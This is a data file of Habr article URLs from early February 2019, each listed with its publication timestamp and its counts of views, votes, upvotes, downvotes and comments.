2019-02-07T12:58:00.000,https://habr.com/ru/post/439334/,views:6200,votes:15,up:17,down:2,comments:14
2019-02-07T12:53:00.000,https://habr.com/ru/company/mailru/blog/439302/,views:3600,votes:38,up:39,down:1,comments:1
2019-02-07T12:44:00.000,https://habr.com/ru/company/mailru/blog/438562/,views:5000,votes:55,up:56,down:1,comments:2
2019-02-07T12:43:00.000,https://habr.com/ru/post/439328/,views:52800,votes:179,up:194,down:15,comments:250
2019-02-07T12:34:00.000,https://habr.com/ru/post/439326/,views:6600,votes:27,up:28,down:1,comments:22
2019-02-07T12:09:00.000,https://habr.com/ru/post/439086/,views:2100,votes:14,up:14,down:0,comments:0
2019-02-07T12:00:00.000,https://habr.com/ru/post/439240/,views:2800,votes:15,up:19,down:4,comments:34
2019-02-07T12:00:00.000,https://habr.com/ru/company/ruvds/blog/438986/,views:2500,votes:20,up:20,down:0,comments:3
2019-02-07T11:59:00.000,https://habr.com/ru/post/439322/,views:8900,votes:13,up:15,down:2,comments:39
2019-02-07T11:58:00.000,https://habr.com/ru/post/439324/,views:667,votes:9,up:9,down:0,comments:0
2019-02-07T11:44:00.000,https://habr.com/ru/post/426405/,views:11800,votes:25,up:29,down:4,comments:63
2019-02-07T11:37:00.000,https://habr.com/ru/post/439318/,views:21900,votes:46,up:47,down:1,comments:42
2019-02-07T11:21:00.000,https://habr.com/ru/company/alconost/blog/439314/,views:9200,votes:11,up:14,down:3,comments:16
2019-02-07T11:15:00.000,https://habr.com/ru/post/439160/,views:6800,votes:21,up:21,down:0,comments:16
2019-02-07T11:10:00.000,https://habr.com/ru/post/439312/,views:2600,votes:3,up:9,down:6,comments:7
2019-02-07T11:05:00.000,https://habr.com/ru/company/top3dshop/blog/439268/,views:896,votes:6,up:6,down:0,comments:0
2019-02-07T10:57:00.000,https://habr.com/ru/post/439310/,views:3200,votes:8,up:14,down:6,comments:10
2019-02-07T10:44:00.000,https://habr.com/ru/company/moikrug/blog/439152/,views:48100,votes:66,up:68,down:2,comments:68
2019-02-07T10:37:00.000,https://habr.com/ru/company/naumen/blog/439304/,views:559,votes:12,up:12,down:0,comments:2
2019-02-07T10:12:00.000,https://habr.com/ru/company/dataline/blog/439264/,views:2300,votes:17,up:17,down:0,comments:14
2019-02-07T10:12:00.000,https://habr.com/ru/company/yandex/blog/439182/,views:46000,votes:111,up:116,down:5,comments:196
2019-02-07T10:01:00.000,https://habr.com/ru/company/intel/blog/438994/,views:12500,votes:11,up:13,down:2,comments:62
2019-02-07T10:00:00.000,https://habr.com/ru/company/microsoft/blog/433402/,views:4400,votes:14,up:14,down:0,comments:6
2019-02-07T09:21:00.000,https://habr.com/ru/post/439300/,views:749,votes:6,up:11,down:5,comments:1
2019-02-07T09:05:00.000,https://habr.com/ru/post/439172/,views:1700,votes:7,up:10,down:3,comments:16
2019-02-07T08:15:00.000,https://habr.com/ru/company/tssolution/blog/439028/,views:2300,votes:11,up:11,down:0,comments:1
2019-02-07T08:13:00.000,https://habr.com/ru/company/edison/blog/439296/,views:13200,votes:25,up:25,down:0,comments:15
2019-02-07T08:00:00.000,https://habr.com/ru/post/438808/,views:2300,votes:11,up:11,down:0,comments:10
2019-02-07T07:23:00.000,https://habr.com/ru/post/439282/,views:2800,votes:11,up:12,down:1,comments:1
2019-02-07T07:06:00.000,https://habr.com/ru/post/439108/,views:6700,votes:23,up:23,down:0,comments:37
2019-02-07T06:48:00.000,https://habr.com/ru/post/439294/,views:5300,votes:33,up:37,down:4,comments:18
2019-02-07T02:39:00.000,https://habr.com/ru/post/439292/,views:11700,votes:19,up:22,down:3,comments:179
2019-02-07T02:03:00.000,https://habr.com/ru/post/439290/,views:2500,votes:15,up:15,down:0,comments:6
2019-02-07T01:15:00.000,https://habr.com/ru/post/439288/,views:3200,votes:14,up:15,down:1,comments:17
2019-02-06T23:39:00.000,https://habr.com/ru/company/audiomania/blog/439280/,views:4100,votes:18,up:20,down:2,comments:2
2019-02-06T23:24:00.000,https://habr.com/ru/company/gearbest/blog/437646/,views:6300,votes:18,up:18,down:0,comments:40
2019-02-06T21:56:00.000,https://habr.com/ru/post/439270/,views:4100,votes:20,up:20,down:0,comments:2
2019-02-06T21:43:00.000,https://habr.com/ru/post/438922/,views:1600,votes:12,up:12,down:0,comments:2
2019-02-06T21:24:00.000,https://habr.com/ru/post/439266/,views:12600,votes:16,up:21,down:5,comments:23
2019-02-06T20:59:00.000,https://habr.com/ru/post/439260/,views:32800,votes:44,up:50,down:6,comments:145
2019-02-06T20:33:00.000,https://habr.com/ru/post/439254/,views:5300,votes:12,up:21,down:9,comments:24
2019-02-06T20:26:00.000,https://habr.com/ru/post/439252/,views:14400,votes:42,up:50,down:8,comments:73
2019-02-06T20:17:00.000,https://habr.com/ru/post/439238/,views:11400,votes:30,up:30,down:0,comments:9
2019-02-06T20:06:00.000,https://habr.com/ru/company/edison/blog/439248/,views:15900,votes:32,up:36,down:4,comments:66
2019-02-06T19:51:00.000,https://habr.com/ru/post/439244/,views:10500,votes:11,up:14,down:3,comments:49
2019-02-06T19:40:00.000,https://habr.com/ru/company/mailru/blog/439174/,views:3900,votes:26,up:28,down:2,comments:3
2019-02-06T19:17:00.000,https://habr.com/ru/post/439236/,views:2200,votes:17,up:17,down:0,comments:3
2019-02-06T18:45:00.000,https://habr.com/ru/post/439232/,views:2100,votes:20,up:20,down:0,comments:0
2019-02-06T17:56:00.000,https://habr.com/ru/company/otus/blog/439222/,views:4100,votes:18,up:18,down:0,comments:3
2019-02-06T17:23:00.000,https://habr.com/ru/post/436020/,views:721,votes:17,up:17,down:0,comments:4
2019-02-06T17:03:00.000,https://habr.com/ru/post/439216/,views:5000,votes:31,up:32,down:1,comments:31
2019-02-06T17:03:00.000,https://habr.com/ru/company/avito/blog/438850/,views:1900,votes:39,up:39,down:0,comments:2
2019-02-06T16:19:00.000,https://habr.com/ru/post/439210/,views:4800,votes:0,up:24,down:24,comments:102
2019-02-06T16:09:00.000,https://habr.com/ru/company/pt/blog/439202/,views:4600,votes:29,up:30,down:1,comments:6
2019-02-06T16:09:00.000,https://habr.com/ru/post/439204/,views:4200,votes:33,up:33,down:0,comments:21
2019-02-06T15:42:00.000,https://habr.com/ru/post/439200/,views:9200,votes:26,up:32,down:6,comments:25
2019-02-06T15:39:00.000,https://habr.com/ru/company/iticapital/blog/439196/,views:8200,votes:18,up:20,down:2,comments:27
2019-02-06T15:18:00.000,https://habr.com/ru/post/439194/,views:2000,votes:11,up:16,down:5,comments:12
2019-02-06T14:13:00.000,https://habr.com/ru/company/tm/blog/439140/,views:18100,votes:126,up:134,down:8,comments:129
2019-02-06T14:11:00.000,https://habr.com/ru/company/mailru/blog/439142/,views:3700,votes:38,up:39,down:1,comments:0
2019-02-06T13:43:00.000,https://habr.com/ru/post/437738/,views:12800,votes:52,up:52,down:0,comments:51
2019-02-06T13:34:00.000,https://habr.com/ru/company/jugru/blog/438866/,views:18000,votes:47,up:52,down:5,comments:143
2019-02-06T13:29:00.000,https://habr.com/ru/company/qualcomm\_russia/blog/439166/,views:3200,votes:16,up:17,down:1,comments:10
2019-02-06T13:28:00.000,https://habr.com/ru/post/439170/,views:5300,votes:17,up:17,down:0,comments:19
2019-02-06T13:20:00.000,https://habr.com/ru/company/mailru/blog/438560/,views:10900,votes:74,up:75,down:1,comments:3
2019-02-06T13:18:00.000,https://habr.com/ru/post/439112/,views:64700,votes:202,up:209,down:7,comments:221
2019-02-06T12:55:00.000,https://habr.com/ru/post/439162/,views:4900,votes:10,up:12,down:2,comments:5
2019-02-06T12:52:00.000,https://habr.com/ru/company/iponweb/blog/435228/,views:5000,votes:20,up:20,down:0,comments:8
2019-02-06T12:40:00.000,https://habr.com/ru/company/dataart/blog/439158/,views:6200,votes:23,up:25,down:2,comments:25
2019-02-06T12:37:00.000,https://habr.com/ru/post/360329/,views:3200,votes:20,up:20,down:0,comments:5
2019-02-06T12:15:00.000,https://habr.com/ru/post/438954/,views:1200,votes:16,up:16,down:0,comments:0
2019-02-06T12:03:00.000,https://habr.com/ru/company/oleg-bunin/blog/430670/,views:3600,votes:41,up:42,down:1,comments:0
2019-02-06T12:03:00.000,https://habr.com/ru/company/wirex/blog/439150/,views:6000,votes:19,up:24,down:5,comments:22
2019-02-06T12:00:00.000,https://habr.com/ru/company/ua-hosting/blog/438956/,views:5200,votes:33,up:33,down:0,comments:3
2019-02-06T12:00:00.000,https://habr.com/ru/company/ruvds/blog/438794/,views:13500,votes:42,up:43,down:1,comments:17
2019-02-06T12:00:00.000,https://habr.com/ru/post/438962/,views:3900,votes:17,up:19,down:2,comments:2
2019-02-06T11:59:00.000,https://habr.com/ru/post/439148/,views:2000,votes:22,up:22,down:0,comments:8
2019-02-06T11:39:00.000,https://habr.com/ru/post/438834/,views:3200,votes:18,up:18,down:0,comments:3
2019-02-06T11:37:00.000,https://habr.com/ru/company/hh/blog/439138/,views:3600,votes:26,up:26,down:0,comments:5
2019-02-06T11:33:00.000,https://habr.com/ru/post/439136/,views:19200,votes:20,up:25,down:5,comments:64
2019-02-06T11:21:00.000,https://habr.com/ru/company/flant/blog/438814/,views:3300,votes:34,up:34,down:0,comments:8
2019-02-06T11:15:00.000,https://habr.com/ru/company/vtb/blog/439046/,views:8000,votes:36,up:36,down:0,comments:12
2019-02-06T11:13:00.000,https://habr.com/ru/company/top3dshop/blog/439062/,views:2000,votes:14,up:14,down:0,comments:1
2019-02-06T11:10:00.000,https://habr.com/ru/post/439134/,views:12700,votes:28,up:28,down:0,comments:33
2019-02-06T11:08:00.000,https://habr.com/ru/company/softline/blog/439130/,views:3000,votes:10,up:11,down:1,comments:14
2019-02-06T10:59:00.000,https://habr.com/ru/company/vivaldi/blog/439132/,views:3500,votes:19,up:19,down:0,comments:48
2019-02-06T10:55:00.000,https://habr.com/ru/post/439020/,views:1600,votes:8,up:10,down:2,comments:9
2019-02-06T10:49:00.000,https://habr.com/ru/post/439128/,views:7200,votes:25,up:26,down:1,comments:6
2019-02-06T10:37:00.000,https://habr.com/ru/company/ostrovok/blog/438966/,views:3200,votes:23,up:23,down:0,comments:2
2019-02-06T10:30:00.000,https://habr.com/ru/post/439124/,views:8300,votes:46,up:46,down:0,comments:28
2019-02-06T10:18:00.000,https://habr.com/ru/post/439126/,views:756,votes:10,up:11,down:1,comments:0
2019-02-06T10:13:00.000,https://habr.com/ru/post/439122/,views:1500,votes:12,up:15,down:3,comments:0
2019-02-06T10:05:00.000,https://habr.com/ru/company/globalsign/blog/439118/,views:11500,votes:23,up:24,down:1,comments:37
2019-02-06T10:00:00.000,https://habr.com/ru/company/microsoft/blog/439102/,views:2800,votes:6,up:12,down:6,comments:21
2019-02-06T09:39:00.000,https://habr.com/ru/post/439002/,views:4000,votes:11,up:14,down:3,comments:5
2019-02-06T09:10:00.000,https://habr.com/ru/company/wrike/blog/439030/,views:3000,votes:12,up:15,down:3,comments:1
2019-02-06T08:50:00.000,https://habr.com/ru/post/438726/,views:1300,votes:10,up:10,down:0,comments:0
2019-02-06T08:34:00.000,https://habr.com/ru/post/439106/,views:9000,votes:20,up:20,down:0,comments:121
2019-02-06T07:20:00.000,https://habr.com/ru/post/438316/,views:2100,votes:15,up:15,down:0,comments:4
2019-02-06T07:06:00.000,https://habr.com/ru/company/smartengines/blog/438948/,views:8900,votes:39,up:41,down:2,comments:19
2019-02-06T01:57:00.000,https://habr.com/ru/post/439104/,views:14100,votes:46,up:49,down:3,comments:157
2019-02-06T01:00:00.000,https://habr.com/ru/post/439100/,views:3000,votes:16,up:16,down:0,comments:6
2019-02-06T00:49:00.000,https://habr.com/ru/post/439098/,views:3400,votes:14,up:20,down:6,comments:3
2019-02-06T00:25:00.000,https://habr.com/ru/post/439094/,views:204000,votes:68,up:82,down:14,comments:211
2019-02-06T00:10:00.000,https://habr.com/ru/post/434826/,views:8600,votes:25,up:26,down:1,comments:14
2019-02-05T23:06:00.000,https://habr.com/ru/post/439080/,views:2300,votes:8,up:12,down:4,comments:7
2019-02-05T22:29:00.000,https://habr.com/ru/post/439078/,views:81100,votes:170,up:179,down:9,comments:535
2019-02-05T22:17:00.000,https://habr.com/ru/post/439076/,views:2100,votes:5,up:11,down:6,comments:3
2019-02-05T22:15:00.000,https://habr.com/ru/post/439074/,views:5400,votes:18,up:19,down:1,comments:9
2019-02-05T21:35:00.000,https://habr.com/ru/post/439066/,views:4500,votes:47,up:47,down:0,comments:2
2019-02-05T21:22:00.000,https://habr.com/ru/post/439070/,views:29700,votes:35,up:45,down:10,comments:73
2019-02-05T21:08:00.000,https://habr.com/ru/company/eset/blog/439068/,views:1600,votes:13,up:13,down:0,comments:2
2019-02-05T20:30:00.000,https://habr.com/ru/post/439016/,views:2100,votes:11,up:11,down:0,comments:4
2019-02-05T20:28:00.000,https://habr.com/ru/post/439064/,views:3900,votes:7,up:13,down:6,comments:4
2019-02-05T20:09:00.000,https://habr.com/ru/post/439060/,views:3900,votes:16,up:26,down:10,comments:11
2019-02-05T19:53:00.000,https://habr.com/ru/post/439056/,views:3200,votes:5,up:14,down:9,comments:21
2019-02-05T19:11:00.000,https://habr.com/ru/company/ua-hosting/blog/439050/,views:5800,votes:20,up:22,down:2,comments:19
2019-02-05T19:01:00.000,https://habr.com/ru/company/badoo/blog/438474/,views:4900,votes:47,up:47,down:0,comments:0
2019-02-05T19:00:00.000,https://habr.com/ru/post/439038/,views:5300,votes:14,up:17,down:3,comments:3
2019-02-05T18:51:00.000,https://habr.com/ru/post/438888/,views:73500,votes:52,up:122,down:70,comments:873
2019-02-05T18:17:00.000,https://habr.com/ru/company/madrobots/blog/439042/,views:8000,votes:21,up:23,down:2,comments:17
2019-02-05T18:12:00.000,https://habr.com/ru/post/439040/,views:5300,votes:12,up:16,down:4,comments:28
2019-02-05T18:00:00.000,https://habr.com/ru/company/mosigra/blog/439036/,views:48800,votes:101,up:105,down:4,comments:186
2019-02-05T17:48:00.000,https://habr.com/ru/post/438886/,views:68700,votes:210,up:214,down:4,comments:183
2019-02-05T17:36:00.000,https://habr.com/ru/company/group-ib/blog/439034/,views:932,votes:6,up:12,down:6,comments:0
2019-02-05T17:32:00.000,https://habr.com/ru/post/439032/,views:3300,votes:9,up:10,down:1,comments:8
2019-02-05T17:05:00.000,https://habr.com/ru/company/ruvds/blog/438982/,views:17600,votes:32,up:34,down:2,comments:15
2019-02-05T17:02:00.000,https://habr.com/ru/post/438842/,views:11100,votes:22,up:23,down:1,comments:6
2019-02-05T16:59:00.000,https://habr.com/ru/company/southbridge/blog/439024/,views:1600,votes:18,up:18,down:0,comments:12
2019-02-05T16:54:00.000,https://habr.com/ru/post/439012/,views:2700,votes:10,up:10,down:0,comments:4
2019-02-05T16:44:00.000,https://habr.com/ru/post/439018/,views:1700,votes:16,up:17,down:1,comments:8
2019-02-05T16:10:00.000,https://habr.com/ru/company/mailru/blog/438804/,views:595,votes:26,up:26,down:0,comments:2
2019-02-05T16:08:00.000,https://habr.com/ru/company/acribia/blog/438996/,views:3700,votes:16,up:17,down:1,comments:2
2019-02-05T15:51:00.000,https://habr.com/ru/company/devicelockdlp/blog/439010/,views:699,votes:21,up:24,down:3,comments:0
2019-02-05T15:39:00.000,https://habr.com/ru/post/439008/,views:17100,votes:21,up:32,down:11,comments:88
2019-02-05T15:33:00.000,https://habr.com/ru/company/madrobots/blog/439006/,views:966,votes:17,up:17,down:0,comments:0
2019-02-05T15:30:00.000,https://habr.com/ru/post/438636/,views:6800,votes:52,up:56,down:4,comments:13
2019-02-05T15:04:00.000,https://habr.com/ru/company/exante/blog/438346/,views:4200,votes:26,up:28,down:2,comments:12
2019-02-05T14:58:00.000,https://habr.com/ru/post/438998/,views:309,votes:13,up:13,down:0,comments:0
2019-02-05T14:51:00.000,https://habr.com/ru/company/abbyy/blog/438128/,views:3300,votes:29,up:29,down:0,comments:11
2019-02-05T14:22:00.000,https://habr.com/ru/post/438970/,views:26900,votes:58,up:58,down:0,comments:120
2019-02-05T13:56:00.000,https://habr.com/ru/post/438306/,views:16900,votes:74,up:75,down:1,comments:64
2019-02-05T13:39:00.000,https://habr.com/ru/post/438952/,views:3300,votes:19,up:19,down:0,comments:24
2019-02-05T13:33:00.000,https://habr.com/ru/company/gearbest/blog/437650/,views:7700,votes:20,up:8,down:28,comments:14
2019-02-05T13:32:00.000,https://habr.com/ru/post/438540/,views:2800,votes:16,up:16,down:0,comments:4
2019-02-05T13:31:00.000,https://habr.com/ru/company/regionsoft/blog/438884/,views:4400,votes:36,up:37,down:1,comments:12
2019-02-05T13:22:00.000,https://habr.com/ru/company/piter/blog/438976/,views:6000,votes:17,up:18,down:1,comments:5
2019-02-05T13:15:00.000,https://habr.com/ru/company/haulmont/blog/438980/,views:5000,votes:22,up:22,down:0,comments:0
2019-02-05T12:59:00.000,https://habr.com/ru/post/438840/,views:3400,votes:23,up:23,down:0,comments:8
2019-02-05T12:57:00.000,https://habr.com/ru/post/438974/,views:1600,votes:13,up:14,down:1,comments:5
2019-02-05T12:53:00.000,https://habr.com/ru/post/438972/,views:2200,votes:14,up:16,down:2,comments:1
2019-02-05T12:46:00.000,https://habr.com/ru/company/pilot/blog/438968/,views:11900,votes:16,up:19,down:3,comments:70
2019-02-05T12:44:00.000,https://habr.com/ru/post/438964/,views:29400,votes:28,up:33,down:5,comments:39
2019-02-05T12:44:00.000,https://habr.com/ru/company/skillbox/blog/438960/,views:7700,votes:3,up:27,down:24,comments:11
2019-02-05T12:37:00.000,https://habr.com/ru/post/438958/,views:9800,votes:14,up:21,down:7,comments:20
2019-02-05T12:28:00.000,https://habr.com/ru/post/438946/,views:2800,votes:19,up:21,down:2,comments:25
2019-02-05T12:00:00.000,https://habr.com/ru/company/ruvds/blog/438796/,views:33500,votes:38,up:47,down:9,comments:21
2019-02-05T12:00:00.000,https://habr.com/ru/company/microsoft/blog/438902/,views:3600,votes:16,up:16,down:0,comments:8
2019-02-05T11:50:00.000,https://habr.com/ru/post/438950/,views:4500,votes:18,up:19,down:1,comments:31
2019-02-05T11:40:00.000,https://habr.com/ru/company/lanit/blog/438774/,views:5000,votes:57,up:59,down:2,comments:1
2019-02-05T11:05:00.000,https://habr.com/ru/company/ods/blog/438940/,views:26900,votes:86,up:88,down:2,comments:78
2019-02-05T10:41:00.000,https://habr.com/ru/company/yandex/blog/438598/,views:12100,votes:41,up:43,down:2,comments:41
2019-02-05T10:40:00.000,https://habr.com/ru/post/437456/,views:1700,votes:15,up:16,down:1,comments:10
2019-02-05T10:37:00.000,https://habr.com/ru/post/438936/,views:2600,votes:10,up:13,down:3,comments:2
2019-02-05T10:22:00.000,https://habr.com/ru/company/oleg-bunin/blog/437768/,views:2200,votes:29,up:30,down:1,comments:1
2019-02-05T10:15:00.000,https://habr.com/ru/company/accelstor/blog/438792/,views:727,votes:7,up:7,down:0,comments:2
2019-02-05T10:10:00.000,https://habr.com/ru/post/438788/,views:4200,votes:10,up:10,down:0,comments:5
2019-02-05T10:07:00.000,https://habr.com/ru/post/438932/,views:3300,votes:2,up:11,down:9,comments:102
2019-02-05T10:00:00.000,https://habr.com/ru/company/mailru/blog/438280/,views:3500,votes:28,up:29,down:1,comments:13
2019-02-05T10:00:00.000,https://habr.com/ru/company/dsec/blog/438644/,views:1600,votes:11,up:11,down:0,comments:0
2019-02-05T09:33:00.000,https://habr.com/ru/post/438930/,views:23900,votes:26,up:35,down:9,comments:63
2019-02-05T09:18:00.000,https://habr.com/ru/post/438832/,views:12200,votes:43,up:44,down:1,comments:53
2019-02-05T09:14:00.000,https://habr.com/ru/post/438928/,views:4700,votes:10,up:20,down:10,comments:17
2019-02-05T09:08:00.000,https://habr.com/ru/post/437638/,views:1700,votes:6,up:17,down:11,comments:5
2019-02-05T09:01:00.000,https://habr.com/ru/company/jetinfosystems/blog/438876/,views:7200,votes:37,up:41,down:4,comments:19
2019-02-05T08:54:00.000,https://habr.com/ru/post/438926/,views:35200,votes:34,up:40,down:6,comments:39
2019-02-05T08:52:00.000,https://habr.com/ru/post/438924/,views:4000,votes:10,up:10,down:0,comments:43
2019-02-05T08:17:00.000,https://habr.com/ru/company/postgrespro/blog/438890/,views:3800,votes:20,up:20,down:0,comments:1
2019-02-05T08:06:00.000,https://habr.com/ru/post/438672/,views:17600,votes:18,up:24,down:6,comments:95
2019-02-05T08:00:00.000,https://habr.com/ru/company/sberbank/blog/438548/,views:2000,votes:9,up:15,down:6,comments:7
2019-02-05T07:28:00.000,https://habr.com/ru/post/438614/,views:16800,votes:45,up:45,down:0,comments:18
2019-02-05T07:11:00.000,https://habr.com/ru/company/edison/blog/438718/,views:13100,votes:37,up:38,down:1,comments:37
2019-02-05T07:09:00.000,https://habr.com/ru/post/438732/,views:7700,votes:28,up:30,down:2,comments:38
2019-02-05T03:05:00.000,https://habr.com/ru/post/438750/,views:32600,votes:168,up:168,down:0,comments:252
2019-02-05T02:54:00.000,https://habr.com/ru/post/438920/,views:4000,votes:10,up:14,down:4,comments:13
2019-02-05T00:07:00.000,https://habr.com/ru/post/438910/,views:1300,votes:7,up:8,down:1,comments:18
2019-02-04T23:52:00.000,https://habr.com/ru/post/438900/,views:1600,votes:11,up:12,down:1,comments:11
2019-02-04T23:49:00.000,https://habr.com/ru/company/ua-hosting/blog/438908/,views:6300,votes:13,up:16,down:3,comments:11
2019-02-04T23:01:00.000,https://habr.com/ru/post/438898/,views:6000,votes:14,up:17,down:3,comments:13
2019-02-04T22:43:00.000,https://habr.com/ru/post/438896/,views:15600,votes:37,up:47,down:10,comments:66
2019-02-04T21:21:00.000,https://habr.com/ru/company/ibm/blog/438892/,views:1300,votes:7,up:10,down:3,comments:4
2019-02-04T20:23:00.000,https://habr.com/ru/company/otus/blog/438858/,views:714,votes:6,up:9,down:3,comments:0
2019-02-04T20:00:00.000,https://habr.com/ru/company/raiffeisenbank/blog/438126/,views:5500,votes:17,up:21,down:4,comments:7
2019-02-04T19:38:00.000,https://habr.com/ru/post/438878/,views:12300,votes:29,up:30,down:1,comments:40
2019-02-04T19:28:00.000,https://habr.com/ru/post/438882/,views:2900,votes:11,up:11,down:0,comments:13
2019-02-04T19:24:00.000,https://habr.com/ru/post/438880/,views:5100,votes:9,up:18,down:9,comments:76
2019-02-04T19:12:00.000,https://habr.com/ru/post/438874/,views:2200,votes:8,up:9,down:1,comments:2
2019-02-04T18:14:00.000,https://habr.com/ru/post/438870/,views:10900,votes:25,up:31,down:6,comments:26
2019-02-04T17:48:00.000,https://habr.com/ru/company/kaspersky/blog/438868/,views:1900,votes:19,up:20,down:1,comments:1
2019-02-04T17:21:00.000,https://habr.com/ru/post/438862/,views:4700,votes:18,up:20,down:2,comments:6
2019-02-04T16:39:00.000,https://habr.com/ru/post/438854/,views:28000,votes:44,up:73,down:29,comments:641
2019-02-04T15:52:00.000,https://habr.com/ru/post/433820/,views:5500,votes:27,up:30,down:3,comments:29
2019-02-04T15:49:00.000,https://habr.com/ru/company/mailru/blog/438778/,views:6000,votes:37,up:38,down:1,comments:0
2019-02-04T15:35:00.000,https://habr.com/ru/post/438838/,views:769,votes:11,up:13,down:2,comments:0
2019-02-04T15:31:00.000,https://habr.com/ru/post/438836/,views:11500,votes:28,up:28,down:0,comments:59
2019-02-04T15:00:00.000,https://habr.com/ru/post/438694/,views:5600,votes:16,up:20,down:4,comments:2
2019-02-04T14:57:00.000,https://habr.com/ru/company/southbridge/blog/438824/,views:7400,votes:30,up:37,down:7,comments:7
2019-02-04T14:52:00.000,https://habr.com/ru/post/438810/,views:14500,votes:39,up:42,down:3,comments:12
2019-02-04T14:38:00.000,https://habr.com/ru/company/psb/blog/438752/,views:4700,votes:19,up:20,down:1,comments:14
2019-02-04T14:13:00.000,https://habr.com/ru/company/hh/blog/438812/,views:10500,votes:26,up:27,down:1,comments:24
2019-02-04T14:11:00.000,https://habr.com/ru/post/438766/,views:4400,votes:26,up:26,down:0,comments:3
2019-02-04T13:40:00.000,https://habr.com/ru/company/englishdom/blog/438806/,views:3500,votes:23,up:24,down:1,comments:16
2019-02-04T13:36:00.000,https://habr.com/ru/company/veeam/blog/436358/,views:5400,votes:17,up:20,down:3,comments:4
2019-02-04T13:28:00.000,https://habr.com/ru/post/438802/,views:2000,votes:16,up:16,down:0,comments:1
2019-02-04T13:22:00.000,https://habr.com/ru/company/e-Legion/blog/438664/,views:2700,votes:21,up:21,down:0,comments:2
2019-02-04T13:21:00.000,https://habr.com/ru/post/438800/,views:5100,votes:8,up:14,down:6,comments:5
2019-02-04T13:20:00.000,https://habr.com/ru/company/rdtex/blog/438498/,views:5200,votes:8,up:19,down:11,comments:8
2019-02-04T13:00:00.000,https://habr.com/ru/post/438790/,views:47700,votes:53,up:56,down:3,comments:183
2019-02-04T13:00:00.000,https://habr.com/ru/company/yandex/blog/438768/,views:19400,votes:45,up:49,down:4,comments:19
2019-02-04T12:32:00.000,https://habr.com/ru/company/yamoney/blog/437872/,views:13100,votes:44,up:47,down:3,comments:20
2019-02-04T12:29:00.000,https://habr.com/ru/company/ds/blog/437258/,views:5300,votes:10,up:13,down:3,comments:6
2019-02-04T12:28:00.000,https://habr.com/ru/post/438546/,views:1600,votes:8,up:10,down:2,comments:0
2019-02-04T12:09:00.000,https://habr.com/ru/company/moikrug/blog/438298/,views:7100,votes:18,up:22,down:4,comments:12
2019-02-04T12:00:00.000,https://habr.com/ru/company/ruvds/blog/438408/,views:1800,votes:18,up:20,down:2,comments:3
2019-02-04T11:51:00.000,https://habr.com/ru/post/438784/,views:3300,votes:12,up:14,down:2,comments:18
2019-02-04T11:47:00.000,https://habr.com/ru/post/438782/,views:10700,votes:16,up:20,down:4,comments:41
2019-02-04T11:39:00.000,https://habr.com/ru/post/438678/,views:14100,votes:26,up:27,down:1,comments:26
2019-02-04T11:26:00.000,https://habr.com/ru/post/438060/,views:5500,votes:33,up:33,down:0,comments:20
2019-02-04T11:25:00.000,https://habr.com/ru/post/438772/,views:12700,votes:42,up:45,down:3,comments:49
2019-02-04T11:24:00.000,https://habr.com/ru/post/437832/,views:9500,votes:38,up:38,down:0,comments:12
2019-02-04T11:22:00.000,https://habr.com/ru/post/438770/,views:744,votes:5,up:7,down:2,comments:3
2019-02-04T11:08:00.000,https://habr.com/ru/company/pvs-studio/blog/438764/,views:13300,votes:60,up:62,down:2,comments:17
2019-02-04T11:06:00.000,https://habr.com/ru/post/438762/,views:3100,votes:15,up:5,down:20,comments:81
2019-02-04T11:00:00.000,https://habr.com/ru/company/X5RetailGroup/blog/438754/,views:9600,votes:26,up:26,down:0,comments:23
2019-02-04T10:51:00.000,https://habr.com/ru/company/globalsign/blog/438758/,views:17200,votes:22,up:25,down:3,comments:40
2019-02-04T10:35:00.000,https://habr.com/ru/post/322900/,views:7400,votes:27,up:28,down:1,comments:22
2019-02-04T10:09:00.000,https://habr.com/ru/post/438748/,views:1500,votes:10,up:11,down:1,comments:3
2019-02-04T10:03:00.000,https://habr.com/ru/company/compscicenter/blog/438570/,views:841,votes:10,up:10,down:0,comments:0
2019-02-04T10:00:00.000,https://habr.com/ru/post/438688/,views:4500,votes:19,up:21,down:2,comments:2
2019-02-04T09:55:00.000,https://habr.com/ru/post/438746/,views:2000,votes:13,up:14,down:1,comments:5
2019-02-04T09:38:00.000,https://habr.com/ru/company/selectel/blog/437808/,views:3300,votes:25,up:25,down:0,comments:3
2019-02-04T09:18:00.000,https://habr.com/ru/post/438526/,views:5200,votes:17,up:18,down:1,comments:1
2019-02-04T09:15:00.000,https://habr.com/ru/company/mailru/blog/438286/,views:14100,votes:76,up:82,down:6,comments:13
2019-02-04T09:14:00.000,https://habr.com/ru/company/tssolution/blog/438314/,views:2600,votes:19,up:19,down:0,comments:0
2019-02-04T08:47:00.000,https://habr.com/ru/company/2gis/blog/438736/,views:1500,votes:23,up:24,down:1,comments:2
2019-02-04T08:11:00.000,https://habr.com/ru/post/430910/,views:2300,votes:18,up:18,down:0,comments:2
2019-02-04T08:06:00.000,https://habr.com/ru/post/438734/,views:10500,votes:30,up:37,down:7,comments:31
2019-02-04T08:00:00.000,https://habr.com/ru/company/realtimeboard/blog/437500/,views:2400,votes:18,up:20,down:2,comments:2
2019-02-04T07:07:00.000,https://habr.com/ru/post/438682/,views:6800,votes:40,up:40,down:0,comments:44
2019-02-04T05:32:00.000,https://habr.com/ru/post/438716/,views:5700,votes:36,up:37,down:1,comments:18
2019-02-04T02:48:00.000,https://habr.com/ru/post/438720/,views:6300,votes:16,up:24,down:8,comments:52
2019-02-04T01:57:00.000,https://habr.com/ru/company/edison/blog/438214/,views:4600,votes:23,up:24,down:1,comments:3
2019-02-04T00:29:00.000,https://habr.com/ru/post/438708/,views:10700,votes:37,up:38,down:1,comments:4
2019-02-04T00:18:00.000,https://habr.com/ru/post/438706/,views:2900,votes:6,up:10,down:4,comments:8
2019-02-04T00:04:00.000,https://habr.com/ru/post/438638/,views:3800,votes:33,up:33,down:0,comments:12
2019-02-03T23:57:00.000,https://habr.com/ru/post/438654/,views:1600,votes:17,up:17,down:0,comments:0
2019-02-03T23:48:00.000,https://habr.com/ru/post/438646/,views:9700,votes:68,up:68,down:0,comments:31
2019-02-03T23:07:00.000,https://habr.com/ru/post/438698/,views:28400,votes:51,up:57,down:6,comments:342
2019-02-03T22:54:00.000,https://habr.com/ru/post/438700/,views:46400,votes:206,up:208,down:2,comments:397
2019-02-03T22:34:00.000,https://habr.com/ru/post/438692/,views:7900,votes:37,up:9,down:46,comments:103
2019-02-03T22:16:00.000,https://habr.com/ru/post/438690/,views:8900,votes:29,up:30,down:1,comments:43
2019-02-03T21:54:00.000,https://habr.com/ru/post/438686/,views:9600,votes:22,up:25,down:3,comments:49
2019-02-03T21:30:00.000,https://habr.com/ru/company/vsce/blog/438668/,views:1400,votes:23,up:24,down:1,comments:2
